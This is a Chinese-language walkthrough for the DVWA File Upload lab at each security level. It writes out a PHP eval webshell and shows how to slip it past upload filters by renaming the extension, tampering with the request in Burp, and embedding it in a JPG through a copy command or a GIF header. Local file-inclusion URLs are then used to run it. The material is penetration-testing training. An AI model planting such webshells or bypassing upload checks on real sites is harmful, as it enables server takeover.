dvwa-文件上传
DVWA_File Upload(文件上传)_全级别_哔哩哔哩_bilibili
准备php的木马文件,命名为up.php
<?php
eval($_POST['abc']);
?>
1、低级别
可以任意上传,将一句话木马的php文件上传,上传成功。注意windows的防火墙可能会删除本地的php文件,需要关闭。
详细步骤参考:中国蚁剑使用 – 学习狗
2、中级别
查看服务端提示代码,使用$_FILES读取上传文件类型,并判断限制文件类型
解决:有两种思路
(1)将木马php直接改后缀名为jpg,上传jpg,但还需要文件包含漏洞触发
(2)将木马php直接改后缀名为jpg,上传jpg,burp拦截,改体部中文件后缀名为php
2.1
(1)将up.php直接改名为up-medium-1.jpg,上传成功,并且可以访问
(2)中国蚁剑直接连接,报错
(3)基于中级别的文件包含漏洞,直接使用绝对路径
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\phpstudy_pro\WWW\dvwa\hackable\uploads\up-medium-1.jpg
2.2
(1)将up.php直接改名为up-medium-2.jpg,在burp监听的浏览上传
(2)burp篡改请求
(3)中国蚁剑连接成功
3、高级别
查看服务端提示代码,检查了文件头
解决:有两种思路
(1)基于cmd copy命令将一个php文件和一个jpg文件写入一个新的jpg文件,但还需要文件包含漏洞触发
copy 小新.jpg/b +1.php /a 3.jpg
(2)在木马中加GIF98,后缀名为jpg,上传之后需要文件包含漏洞触发
GIF98
<?php eval($_POST["123"]);?>
3.1
(1)将up.php直接改名为up-high-1.php,准备一个jpg文件(截图保存,命名为001.jpg)
(2)打开cmd,普通用户身份即可,运行命令,将php和jpg封装写入jpg文件,结果生成了101.jpg(注意/b和/a不能省略,虽然也能生成jpg文件,但是上传报错不是jpg)
copy 001.jpg/b + up-high-1.php/a 101.jpg
(3)上传成功
(4)文件包含漏洞,此时是high级别。包含成功
3.2
(1)将up.php直接改名为up-high-2.php,编辑之后,改为up-high-2.jpg
GIF98
<?php
eval($_POST['abc']);
?>
(2)上传成功
(3)文件包含漏洞,此时是high级别。包含成功
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file://D:\phpstudy_pro\WWW\dvwa\hackable\uploads\up-high-2.jpg
4、不可能级别
文件名md5加密